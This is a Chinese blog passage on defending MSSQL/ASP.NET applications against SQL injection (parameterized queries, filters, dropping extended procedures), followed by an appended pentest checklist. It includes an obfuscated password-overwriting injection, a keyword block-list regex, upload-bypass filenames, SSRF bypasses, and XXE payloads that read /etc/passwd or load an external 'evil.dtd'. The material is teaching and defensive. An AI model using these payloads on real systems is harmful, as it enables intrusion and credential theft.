9) 對于敏感詞過濾不到位的檢查,我們可以結合函數構造SQL注入
比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:
declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');
防止SQL注入
1. 數據庫權限控制,只給訪問數據庫的web應用功能所需的最低權限帳戶。
如MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定義錯誤信息,首先我們要屏蔽服務器的詳細錯誤信息傳到客戶端。
在 ASP.NET 中,可通過web.config配置文件的<customErrors>節點設置:
<customErrors defaultRedirect="url" mode="On|Off|RemoteOnly">
<error. . ./>
</customErrors>
更詳細,請進入……
mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。
On
指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。
Off
指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。
RemoteOnly
指定僅向遠程客戶端顯示自定義錯誤并且向本地主機顯示ASP.NET 錯誤。這是默認值。
看下效果圖:
設置為<customErrors mode="On">一般性錯誤:
設置為<customErrors mode="Off">:
3. 把危險的和不必要的存儲過程刪除
xp_:擴展存儲過程的前綴,SQL注入攻擊得手之后,攻擊者往往會通過執行xp_cmdshell之類的擴展存儲過程,獲取系統信息,甚至控制、破壞系統。
xp_cmdshell
能執行dos命令,通過語句sp_dropextendedproc刪除,
不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000、windows7)
xpsql70.dll(sqlserer 7.0)
xp_fileexist
用來確定一個文件是否存在
xp_getfiledetails
可以獲得文件詳細資料
xp_dirtree
可以展開你需要了解的目錄,獲得所有目錄深度
Xp_getnetname
可以獲得服務器名稱
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
可以訪問注冊表的存儲過程
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
如果你不需要請丟棄OLE自動存儲過程
4. 非參數化SQL與參數化SQL
1) 非參數化(動態拼接SQL)
a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉義字符》轉換掉。
b) 類型檢查:對接收數據有明確要求的,在方法內進行類型驗證。如數值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數字等。
c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那么嚴格控制10個字符長度,一些注入語句就沒辦法進行。
d) 使用枚舉:如果只有有限的幾個值,就用枚舉。
e) 關鍵字過濾:這個門檻比較高,因為各個數據庫存在關鍵字,內置函數的差異,所以對編寫此函數的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數還請留言分享下,學習學習,謝謝!
這邊提供一個關鍵字過濾參考方案(MSSQL):
public static bool ValiParms(string parms)
{
if (parms==null)
{
return false;
}
Regex regex=new Regex("sp_", RegexOptions.IgnoreCase);
Regex regex2=new Regex("'", RegexOptions.IgnoreCase);
Regex regex3=new Regex("create ", RegexOptions.IgnoreCase);
Regex regex4=new Regex("drop ", RegexOptions.IgnoreCase);
Regex regex5=new Regex("\"", RegexOptions.IgnoreCase);
Regex regex6=new Regex("exec ", RegexOptions.IgnoreCase);
Regex regex7=new Regex("xp_", RegexOptions.IgnoreCase);
Regex regex8=new Regex("insert ", RegexOptions.IgnoreCase);
Regex regex9=new Regex("delete ", RegexOptions.IgnoreCase);
Regex regex10=new Regex("select ", RegexOptions.IgnoreCase);
Regex regex11=new Regex("update ", RegexOptions.IgnoreCase);
return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));
}
優點:寫法相對簡單,網絡傳輸量相對參數化拼接SQL小
缺點:
a) 對于關鍵字過濾,常?!邦櫞耸П恕保缏┑絷P鍵字,系統函數,對于HEX編碼的SQL語句沒辦法識別等等,并且需要針對各個數據庫封裝函數。
b) 無法滿足需求:用戶本來就想發表包含這些過濾字符的數據。
c) 執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。
2) 參數化查詢(Parameterized Query)
a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操作也是需要的。他們能盡早檢查出數據的有效性。
b) 參數化查詢原理:在使用參數化查詢的情況下,數據庫服務器不會將參數的內容視為SQL指令的一部份來處理,而是在數據庫完成 SQL 指令的編譯后,才套用參數運行,因此就算參數中含有具有損的指令,也不會被數據庫所運行。
c) 所以在實際開發中,入口處的安全檢查是必要的,參數化查詢應作為最后一道安全防線。
優點:
? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)
? 參數化查詢能強制執行類型和長度檢查。
? 在MSSQL中生成并重用查詢計劃,從而提高查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大于50%的時間)
缺點:
? 不是所有數據庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數據庫支持參數化查詢。
疑問:參數化如何“批量更新”數據庫。
a) 通過在參數名上增加一個計數來區分開多個參數化語句拼接中的同名參數。
EG:
StringBuilder sqlBuilder=new StringBuilder(512);
Int count=0;
For(循環)
{
sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());
SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}
……
Count++;
}
b) 通過MSSQL 2008的新特性:表值參數,將C#中的整個表當參數傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數設置parameter.SqlDbType=System.Data.SqlDbType.Structured; 詳細請查看……
疑慮:有部份的開發人員可能會認為使用參數化查詢,會讓程序更不好維護,或者在實現部份功能上會非常不便,然而,使用參數化查詢造成的額外開發成本,通常都遠低于因為SQL注入攻擊漏洞被發現而遭受攻擊,所造成的重大損失。
另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法
--清空緩存的查詢計劃
DBCC FREEPROCCACHE
GO
--查詢緩存的查詢計劃
SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]
FROM sys.dm_exec_cached_plans p
OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql
JOIN sys.dm_exec_query_stats stats ON stats.plan_handle=p.plan_handle
GO
3) 參數化查詢示例
效果如圖:
參數化關鍵代碼:
Private bool ProtectLogin(string userName, string password)
{
SqlParameter[] parameters=new SqlParameter[]
{
new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},
new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}
};
int count=(int)SqlHelper.Instance.ExecuteScalar
("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);
return count > 0 ? true : false;
}
5. 存儲過程
存儲過程(Stored Procedure)是在大型數據庫系統中,一組為了完成特定功能的SQL 語句集,經編譯后存儲在數據庫中,用戶通過指定存儲過程的名字并給出參數(如果該存儲過程帶有參數)來執行它。
優點:
a) 安全性高,防止SQL注入并且可設定只有某些用戶才能使用指定存儲過程。
b) 在創建時進行預編譯,后續的調用不需再重新編譯。
c) 可以降低網絡的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。
缺點:
a) 非應用程序內聯代碼,調式麻煩。
b) 修改麻煩,因為要不斷的切換開發工具。(不過也有好的一面,一些易變動的規則做到存儲過程中,如變動就不需要重新編譯應用程序)
c) 如果在一個程序系統中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導致數據結構的變化,接著就是系統的相關問題了,最后如果用戶想維護該系統可以說是很難很難(eg:沒有VS的查詢功能)。
演示請下載示例程序,關鍵代碼為:
cmd.CommandText=procName; // 傳遞存儲過程名
cmd.CommandType=CommandType.StoredProcedure; // 標識解析為存儲過程
如果在存儲過程中SQL語法很復雜需要根據邏輯進行拼接,這時是否還具有放注入的功能?
答:MSSQL中可以通過 EXEC 和sp_executesql動態執行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數化防止SQL注入。
關鍵代碼:(詳細見示例)
a) sp_executesql
CREATE PROCEDURE PROC_Login_executesql(
@userNamenvarchar(10),
@password nvarchar(10),
@count int OUTPUT
)
AS
BEGIN
DECLARE @s nvarchar(1000);
set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';
EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output
END
b) EXECUTE(注意sql中拼接字符,對于字符參數需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)
CREATE PROCEDURE PROC_Login_EXEC(
@userNamenvarchar(10),
@password varchar(20)
)
AS
BEGIN
DECLARE @s nvarchar(1000);
set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';
EXEC('DECLARE @count int;' +@s+'select @count');
END
注入截圖如下:
6. 專業的SQL注入工具及防毒軟件
情景1
A:“丫的,又中毒了……”
B:“我看看,你這不是裸機在跑嗎?”
電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創建windows帳戶,就會立馬報出警報。
情景2
A:“終于把網站做好了,太完美了,已經檢查過沒有漏洞了!”
A:“網站怎么被黑了,怎么入侵的???”
公司或個人有財力的話還是有必要購買一款專業SQL注入工具來驗證下自己的網站,這些工具畢竟是專業的安全人員研發,在安全領域都有自己的獨到之處。SQL注入工具介紹:10個SQL注入工具
7. 額外小知識:LIKE中的通配符
盡管這個不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。
參考:SQL中通配符的使用
%
包含零個或多個字符的任意字符串。
_
任何單個字符。
[]
指定范圍(例如 [a-f])或集合(例如 [abcdef])內的任何單個字符。
[^]
不在指定范圍(例如 [^a - f])或集合(例如 [^abcdef])內的任何單個字符。
在模糊查詢LIKE中,對于輸入數據中的通配符必須轉義,否則會造成客戶想查詢包含這些特殊字符的數據時,這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。
注意使用通配符的索引性能問題:
a) like的第一個字符是'%'或'_'時,為未知字符不會使用索引, sql會遍歷全表。
b) 若通配符放在已知字符后面,會使用索引。
網上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執行語法查看索引使用情況卻都沒有使用索引,可能在別的數據庫中會使用到索引吧……
截圖如下:
有兩種將通配符轉義為普通字符的方法:
1) 使用ESCAPE關鍵字定義轉義符(通用)
在模式中,當轉義符置于通配符之前時,該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:
WHERE ColumnA LIKE '%5/%%' ESCAPE '/'
2) 在方括號 ([ ]) 中只包含通配符本身,或要搜索破折號 (-) 而不是用它指定搜索范圍,請將破折號指定為方括號內的第一個字符。EG:
符號
含義
LIKE '5[%]'
5%
LIKE '5%'
5 后跟 0 個或多個字符的字符串
LIKE '[_]n'
_n
LIKE '_n'
an, in, on (and so on)
LIKE '[a-cdf]'
a、b、c、d 或 f
LIKE '[-acdf]'
-、a、c、d 或 f
LIKE '[ [ ]'
[
LIKE ']'
] (右括號不需要轉義)
所以,進行過輸入參數的關鍵字過濾后,還需要做下面轉換確保LIKE的正確執行
private static string ConvertSqlForLike(string sql)
{
sql=sql.Replace("[", "[[]"); // 這句話一定要在下面兩個語句之前,否則作為轉義符的方括號會被當作數據被再次處理
sql=sql.Replace("_", "[_]");
sql=sql.Replace("%", "[%]");
return sql;
}
結束語:感謝你耐心的觀看。恭喜你, SQL安全攻防你已經入門了……
參考文獻:
SQL注入天書
(百度百科)SQL注入
擴展資料:
Sql Server 編譯、重編譯與執行計劃重用原理
淺析Sql Server參數化查詢-----驗證了參數的類型和長度對參數化查詢影響
Sql Server參數化查詢之where in和like實現詳解
-----講述6種參數化實現方案
webshell -----不當小白,你必須認識的專業術語。一個用于站長管理,入侵者入侵的好工具
SQL注入技術和跨站腳本攻擊的檢測 -----講解使用正則表達式檢測注入
XSS(百度百科) -------惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。
XSS攻擊實例 -------基本思路:我們都知道網上很多網站都可以“記住你的用戶名和密碼”或是“自動登錄”,其實是在你的本地設置了一個cookie,這種方式可以讓你免去每次都輸入用戶名和口令的痛苦,但是也帶來很大的問題。試想,如果某用戶在“自動登錄”的狀態下,如果你運行了一個程序,這個程序訪問“自動登錄”這個網站上一些鏈接、提交一些表單,那么,也就意味著這些程序不需要輸入用戶名和口令的手動交互就可以和服務器上的程序通話。
Web安全測試之XSS
Web API 入門指南 - 閑話安全
中間人攻擊(MITM)姿勢總結
淺談WEB安全性(前端向)
透測試
這里包含了我的大部分滲透測試經驗與知識的積累。從一個攻擊者的角度總結了一些滲透測試的知識,供新手學習和規避這些安全問題保障自己的隱私安全。
· https://github.com/ring04h/dirfuzz
· 找域名商漏洞,越權影響目標域名
· 欺騙域名商客服,影響目標域名
· 社工賬號,篡改解析地址
· 滲透DNS服務器,和社工DNS服務商
· DNS域傳送漏洞
· 子域名接管漏洞
· 找真實IP地址
? censys.io 等網絡空間引擎查找關鍵字
? SSRF漏洞
? 查找域名歷史解析IP
? https://securitytrails.com/
? site.ip138.com
? 服務器信息泄露
? 探測子域名IP
? cloudflare(HatCloud)
? 看郵件發送者源IP
? APP客戶端
? DOS CDN可能會成回源模式
· 破解CDN服務賬號
· 注冊者郵箱
? 反查其他域名
· 手機號
· 地址
· 注冊者名稱
· DNS
· 搜索引擎
? fofa、傻蛋、諦聽、zoomeye、censys
? Google、bing、baidu、duckduckgo
? 接口聚合:https://github.com/bit4woo/teemo
· 暴力破解
? layer
? wydomain
· 網頁爬蟲
? 基于JS的域名探測https://github.com/nsonaniya2010/SubDomainizer
· DNS查找
? dnsdumpster.com
? www.virustotal.com
· nmap
· Zenmap
· nmap -O
· 大小寫敏感
· TTL
· banner
· 信息泄露
· 特殊端口 如(22 / 139 / 445 / 1433 / 3389)
· HOSTNAME
· 同服網站
? https://dns.aizhan.com
· 備案反查
· 可能會有其他相關業務,如交換機、機房后臺、監控系統等
· 特有文件MD5
· 包含字符
· cookie
· 響應頭
· 文件上傳
? 字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder
? %00截斷
? 畸形文件名
? Windows
? shell.php{%80-%99}
? NTFS ADS特性
? shell.php......
? shell.php::$DATA
? shell.php:a.jpg
? 目錄穿越
? 文件頭繞過
? 修改上傳類型 Content-Type
? 雙文件上傳
? 超長截斷
? 長文件名
? 長Content-Disposition
? 特殊文件
? 上傳html、htm 可以 XSS
? swf 可以XSS
? pdf 在 chrome 里可以做跳轉
? cer、asa、jspx、php5、phtml等可能會被當做動態語言解析
? .htaccess .user.ini web.config web.xml 等
? 無大小和次數限制
? 無限上傳制造垃圾數據堵死硬盤
? imagemagick命令執行
· 文件讀取
? 讀取系統敏感文件 如配置文件
· 文件包含
? 可讀取文件或代碼執行
· 文件刪除
? 刪除配置文件可破壞網站
? 刪除安裝鎖可重裝
· 自動檢測 https://github.com/BlackHole1/autoFindXssAndCsrf
· FLASH CSRF
? http://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/
? https://www.cnblogs.com/fdsajhg30000/archive/2011/02/14/1953966.html
? http://www.vuln.cn/7134
· 普通反射/持久/DOM型
· UXSS
· XSS 蠕蟲
· rootkit xss
· Flash Xss
? https://www.secpulse.com/archives/44299.html
· 其他文檔
? Web前后端漏洞分析與防御 https://github.com/TYRMars/WebSafe-StepPitGuide
? 腦圖
? https://github.com/phith0n/Mind-Map/blob/master/xss%20virus%201.0.png
? https://github.com/phith0n/Mind-Map/blob/master/XSS2.png
? https://github.com/phith0n/Mind-Map/blob/master/XSS%E8%84%91%E5%9B%BE.png
· CRLF注入在響應頭會導致XSS
· ORACLE
? 執行java代碼
? https://www.cnblogs.com/rebeyond/p/7928887.html
? https://www.cnblogs.com/pshell/articles/7473713.html
· MYSQL
? load_file() 文件讀取函數
? outfile 寫文件
? MOF / UDF 提權
? general_log_file 寫文件
· SQL Server
? xp_cmdsell
? https://www.jianshu.com/p/027636ef4640
? wscript.shell
? https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html
? 沙盒模式
? https://blog.csdn.net/sircoding/article/details/78683192
? 存儲過程寫文件
? xp_dirtree
? https://blog.csdn.net/kj021320/article/details/1736964
? sp_oamethod
? https://www.0dayhack.com/post-678.html
· 命令執行
? & / && / | / | | / ;
? 系統變量 ${xx} and %xx%
· 代碼執行
? 表達式
? freemarker
? OGNL
? Spel
? jsel
? 非表達式
? php
? eval
? assert
? call_user_func() / call_user_func_array()
? preg_replace()
? create_function()
? array_map()
? array_filter()
? usort() / uasort()
? 反序列化
? php 源文件拼接寫入
? java
? 反序列化
? 遠程 jar 加載
? 反射機制
? jsp 源文件拼接寫入
· 利用姿勢
? http/s協議
? 獲取真實IP
? 內網主機 / 端口探測
? 攻擊redis、memcache等
? file協議
? 讀取文件
? gopher協議
? 同上
· 繞過
? IP換成域名
? IP換成10進制
? http://xxx.com@baidu.com
? 302 跳轉
· 參考
? https://www.t00ls.net/articles-41070.html
· 利用姿勢
? 文件讀取
? <!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
? SSRF
? <!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
· 參考
? https://www.freebuf.com/articles/web/177979.html
· 整數溢出
? 數字超出限定大小則會為負數。如:在購買商品時填寫超長數字,造成溢出,最終乘以金額變為負數
· 并發修改數據(如提現)
· 網站重裝
· 未授權訪問
· 水平與垂直越權
· JSONP劫持
· 密碼重置
· 點擊劫持
· fckeditor
? https://www.cnblogs.com/bl8ck/p/9521448.html
· ueditor
? .net
? getshell
? https://www.seebug.org/vuldb/ssvid-97499
? jsp
? 文件上傳
? https://www.secpulse.com/archives/11232.html
? ssrf
? https://paper.seebug.org/606/
· ckfinder
? https://www.seebug.org/appdir/CKFinder
? https://www.secpulse.com/archives/26999.html
· CKEditor
? https://www.seebug.org/vuldb/ssvid-60642
· KindEditor
? https://www.anquanke.com/post/id/171422
? https://www.freebuf.com/articles/web/128076.html
· ewebeditor
? https://www.cnblogs.com/milantgh/p/3601739.html
? https://www.0dayhack.com/post-426.html
· 匿名/暴力破解
· 拒絕服務
· 暴力破解
· Winbox(CVE-2018-14847)
? https://github.com/BasuCert/WinboxPoC
· 弱口令 / 暴力破解
· 弱口令
? https://blog.csdn.net/archersaber39/article/details/78932252
· 匿名訪問
? https://www.cnblogs.com/persuit/p/5706432.html
· ladp注入
? http://www.4hou.com/technology/9090.html
? https://www.freebuf.com/articles/web/149059.html
· openssl心臟出血
? https://paper.seebug.org/437/http://www.anquan.us/static/drops/papers-1381.htmlhttps://www.freebuf.com/sectool/33191.html
· win10拒絕服務
· 永恒之藍RCE
*請認真填寫需求信息,我們會在24小時內與您取得聯系。